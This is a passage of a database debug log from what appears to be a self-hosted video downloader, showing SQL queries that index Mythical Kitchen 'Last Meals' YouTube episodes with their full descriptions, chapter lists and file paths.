https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Ken Jeong Eats His Last Meal", "https://www.youtube.com/watch?v=VTMUWlrv8vg", "VTMUWlrv8vg", 2547, false, "/downloads/Last Meals/2025-09-23 Ken Jeong Eats His Last Meal/Ken Jeong Eats His Last Meal [VTMUWlrv8vg].mp4", false, 1, ~U[2025-09-23 10:00:51Z]] 20:49:32.265 [debug] QUERY OK source="sources" db=0.0ms idle=2.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.265 [debug] QUERY OK source="media_items" db=0.1ms idle=1.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-03-26 10:00:25Z], 1] 20:49:32.266 [debug] QUERY OK source="media_items" db=0.7ms idle=1.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Josh is cooking Becky Lynch's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Becky's Last Meal Menu\n1:54 Thinking About Death\n2:57 1st Course - Tea & Sourdough Toast\n4:45 Becky's Body Image Journey\n6:16 Seth Rollins Sounds Like A Pirate\n7:42 Work Ethic & Getting To The Top\n8:16 Believing & Doubting Yourself Equally\n10:08 2nd Course - Monster Munch, Chipper Chips, Irish Stew, & Fanta\n13:41 Receipts From Jim \"The Anvil\" Neidhart\n14:48 \"You Deserve It\"\n15:58 Attempting To Be Normal\n18:00 The Proper Way To Eat Monster Munch\n19:00 3rd Course - Fried Rice & Sweet & Sour Chicken\n20:33 Grandma Wasn't Scared Of Death\n23:20 Losing A Parent While Becoming One\n25:35 Love & Legacy\n27:00 What Happens When You Die?\n28:09 4th Course - Cadbury Chocolate & Jelly\n29:34 Karma & Parenting\n31:09 Nothing Better Than Proving Someone Wrong\n32:20 Nepo Babies\n33:25 Wrestlemania & Calling Out Rhea Ripley\n34:59 Lightning Round\n36:52 Becky's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th" <> ..., "WWE’s Becky Lynch Eats Her Last Meal", "2f5f658d-fd4f-4361-a592-16e2818ebb60", "https://www.youtube.com/watch?v=MS-lV6bru3Q", false, "MS-lV6bru3Q", 2276, false, 28, "/downloads/Last Meals/2024-03-26 WWE’s Becky Lynch Eats Her Last Meal/WWE’s Becky Lynch Eats Her Last Meal [MS-lV6bru3Q].mp4", false, false, 1, [], 1, ~U[2024-03-26 10:00:25Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Josh is cooking Becky Lynch's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Becky's Last Meal Menu\n1:54 Thinking About Death\n2:57 1st Course - Tea & Sourdough Toast\n4:45 Becky's Body Image Journey\n6:16 Seth Rollins Sounds Like A Pirate\n7:42 Work Ethic & Getting To The Top\n8:16 Believing & Doubting Yourself Equally\n10:08 2nd Course - Monster Munch, Chipper Chips, Irish Stew, & Fanta\n13:41 Receipts From Jim \"The Anvil\" Neidhart\n14:48 \"You Deserve It\"\n15:58 Attempting To Be Normal\n18:00 The Proper Way To Eat Monster Munch\n19:00 3rd Course - Fried Rice & Sweet & Sour Chicken\n20:33 Grandma Wasn't Scared Of Death\n23:20 Losing A Parent While Becoming One\n25:35 Love & Legacy\n27:00 What Happens When You Die?\n28:09 4th Course - Cadbury Chocolate & Jelly\n29:34 Karma & Parenting\n31:09 Nothing Better Than Proving Someone Wrong\n32:20 Nepo Babies\n33:25 Wrestlemania & Calling Out Rhea Ripley\n34:59 Lightning Round\n36:52 Becky's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series (truncated) 20:49:32.266 [debug] QUERY OK source="sources" db=0.0ms idle=2.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.266 [debug] QUERY OK source="media_items" db=0.1ms idle=1.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-31 10:00:21Z], 1] 20:49:32.267 [debug] QUERY OK source="media_items" db=0.5ms idle=1.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, the Jonas Brothers are eating their last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 The Jonas Brothers' Last Meal\n0:19 Meeting Buzz Aldrin\n1:19 Joe, Welcome Back!\n1:51 1st Course\n2:20 Recreating Memories With Grandpa\n5:08 Lemon Is Not A Fruit\n5:51 Greetings From Your Hometown\n7:09 Complicated Church Feelings\n10:40 What Does Home Feel Like?\n11:08 Relearning How To Be Brothers\n13:11 Nostalgia & Music Influences\n14:35 2nd Course\n17:13 Do You Believe In Past Lives?\n18:39 Spiritual Deconstruction\n23:04 We Remember Things Differently\n24:11 Why Won't Nick Marry Josh's Wife?\n25:03 3rd Course\n27:34 The Story Behind Ants On A Log\n29:13 Do You Lie To Your Children?\n30:35 Kevin Explains Labubu\n31:35 How Kids Change Your Life\n33:10 What Felt Longer— Time Apart Or Together?\n35:33 Does Nick Feel Guilty For The Breakup?\n37:37 What Do You Want Your Legacy To Be?\n40:13 Lightning Round\n45:03 The Jonas Brothers' Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "The Jonas Brothers Eat Their Last Meal", "ec80d5f5-944b-4a1a-b104-fc2f2edc77a0", "https://www.youtube.com/watch?v=En_L4safXKo", false, "En_L4safXKo", 2772, false, 29, "/downloads/Last Meals/2025-07-31 The Jonas Brothers Eat Their Last Meal/The Jonas Brothers Eat Their Last Meal [En_L4safXKo].mp4", false, false, 1, [], 1, ~U[2025-07-31 10:00:21Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, the Jonas Brothers are eating their last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 The Jonas Brothers' Last Meal\n0:19 Meeting Buzz Aldrin\n1:19 Joe, Welcome Back!\n1:51 1st Course\n2:20 Recreating Memories With Grandpa\n5:08 Lemon Is Not A Fruit\n5:51 Greetings From Your Hometown\n7:09 Complicated Church Feelings\n10:40 What Does Home Feel Like?\n11:08 Relearning How To Be Brothers\n13:11 Nostalgia & Music Influences\n14:35 2nd Course\n17:13 Do You Believe In Past Lives?\n18:39 Spiritual Deconstruction\n23:04 We Remember Things Differently\n24:11 Why Won't Nick Marry Josh's Wife?\n25:03 3rd Course\n27:34 The Story Behind Ants On A Log\n29:13 Do You Lie To Your Children?\n30:35 Kevin Explains Labubu\n31:35 How Kids Change Your Life\n33:10 What Felt Longer— Time Apart Or Together?\n35:33 Does Nick Feel Guilty For The Breakup?\n37:37 What Do You Want Your Legacy To Be?\n40:13 Lightning Round\n45:03 The Jonas Brothers' Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "The Jonas Brothers Eat Their Last Meal", "https://www.youtube.com/watch?v=En_L4safXKo", "En_L4safXKo", 2772, false, "/downloads/Last Meals/2025-07-31 The Jonas Brothers Eat Their Last Meal/The Jonas Brothers Eat Their Last Meal [En_L4safXKo].mp4", false, 1, ~U[2025-07-31 10:00:21Z]] 20:49:32.267 [debug] QUERY OK source="sources" db=0.0ms idle=2.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.268 [debug] QUERY OK source="media_items" db=0.1ms idle=1.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-17 10:00:33Z], 1] 20:49:32.284 [debug] QUERY OK source="media_items" db=16.6ms idle=1.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Ciara eats her last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Ciara's Last Meal\n0:28 Josh's Thesis On RIDE\n1:54 Ciara Loves To Live\n3:00 Ciara's Team Makes Her Want To Cry\n4:15 1st Course\n5:00 Ten To One\n6:16 Ciara's Waffle House Order\n7:06 Love For Family\n8:11 Professional Wing Eater\n8:44 Ciara's Epiphany\n10:30 Self-Belief At 14\n12:35 Independent Music\n13:21 Rules Of Coke\n14:10 2nd Course\n15:59 This World Is Going To Move Without You\n17:37 Check Your Compass\n19:51 Manifestation vs. Prayer\n21:57 3rd Course\n23:01 Not Glorifying Toxic Things\n23:43 Manifesting Russell Wilson\n25:22 The Busted Wallet Theory\n26:12 CIARA LORE FROM THE MYTHICAL KITCHEN\n27:22 4th Course\n27:56 Like You're Running Out Of Time\n29:22 Matthew 16:26\n31:38 Impact\n33:10 What Do You Think Happens When You Die?\n34:51 Lightning Round\n38:37 Ciara's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Ciara Eats Her Last Meal", "36f8126f-93d4-4f39-aae0-6136f7fe79a1", "https://www.youtube.com/watch?v=GAFJ8istWgk", false, "GAFJ8istWgk", 2375, false, 30, "/downloads/Last Meals/2025-07-17 Ciara Eats Her Last Meal/Ciara Eats Her Last Meal [GAFJ8istWgk].mp4", false, false, 1, [], 1, ~U[2025-07-17 10:00:33Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Ciara eats her last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Ciara's Last Meal\n0:28 Josh's Thesis On RIDE\n1:54 Ciara Loves To Live\n3:00 Ciara's Team Makes Her Want To Cry\n4:15 1st Course\n5:00 Ten To One\n6:16 Ciara's Waffle House Order\n7:06 Love For Family\n8:11 Professional Wing Eater\n8:44 Ciara's Epiphany\n10:30 Self-Belief At 14\n12:35 Independent Music\n13:21 Rules Of Coke\n14:10 2nd Course\n15:59 This World Is Going To Move Without You\n17:37 Check Your Compass\n19:51 Manifestation vs. Prayer\n21:57 3rd Course\n23:01 Not Glorifying Toxic Things\n23:43 Manifesting Russell Wilson\n25:22 The Busted Wallet Theory\n26:12 CIARA LORE FROM THE MYTHICAL KITCHEN\n27:22 4th Course\n27:56 Like You're Running Out Of Time\n29:22 Matthew 16:26\n31:38 Impact\n33:10 What Do You Think Happens When You Die?\n34:51 Lightning Round\n38:37 Ciara's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Ciara Eats Her Last Meal", "https://www.youtube.com/watch?v=GAFJ8istWgk", "GAFJ8istWgk", 2375, false, "/downloads/Last Meals/2025-07-17 Ciara Eats Her Last Meal/Ciara Eats Her Last Meal [GAFJ8istWgk].mp4", false, 1, ~U[2025-07-17 10:00:33Z]] 20:49:32.285 [debug] QUERY OK source="sources" db=0.0ms idle=17.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.285 [debug] QUERY OK source="media_items" db=0.1ms idle=17.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-02-27 11:00:41Z], 1] 20:49:32.287 [debug] QUERY OK source="media_items" db=2.0ms idle=17.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Kelly Rowland is eating her last meal.\n\n#meaculpa is now streaming on Netflix!\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Kelly's Last Meal Menu\n0:30 Sending A Text With Excel\n2:08 How Often Do You Think About Death?\n3:26 1st Course: Caviar & Potato Chips\n4:44 Producing Mea Culpa\n6:30 Kelly's First Onscreen Death\n8:47 The Most Beautiful Explanation Of Death\n11:02 2nd Course - Tacos, Cheeseburger, Fries, & Pineapple Margarita\n14:57 Early Career & Singing In Church\n17:10 Learning Self Worth Through Parenting\n19:59 New Music & Current Genre Obsessions\n21:50 3rd Course - A5 Wagyu & Mashed Potatoes\n24:31 Working Hard For The Finer Things\n27:05 Parenting As A Healing Journey\n28:43 Raising Emotionally Intelligent Kids\n30:30 4th Course - Peach Cobbler, Chocolate Peanut Butter Pie, & Chocolate Cake\n33:14 Chosen Family With Beyonce & Reconnecting With Dad\n37:08 Lightning Round\n39:59 Kelly's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Kelly Rowland Eats Her Last Meal", "094519f4-e0ef-42bc-873c-10e34882f95a", "https://www.youtube.com/watch?v=o2MMhAcHMEk", false, "o2MMhAcHMEk", 2470, false, 31, "/downloads/Last Meals/2024-02-27 Kelly Rowland Eats Her Last Meal/Kelly Rowland Eats Her Last Meal [o2MMhAcHMEk].mp4", false, false, 1, [], 1, ~U[2024-02-27 11:00:41Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Kelly Rowland is eating her last meal.\n\n#meaculpa is now streaming on Netflix!\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Kelly's Last Meal Menu\n0:30 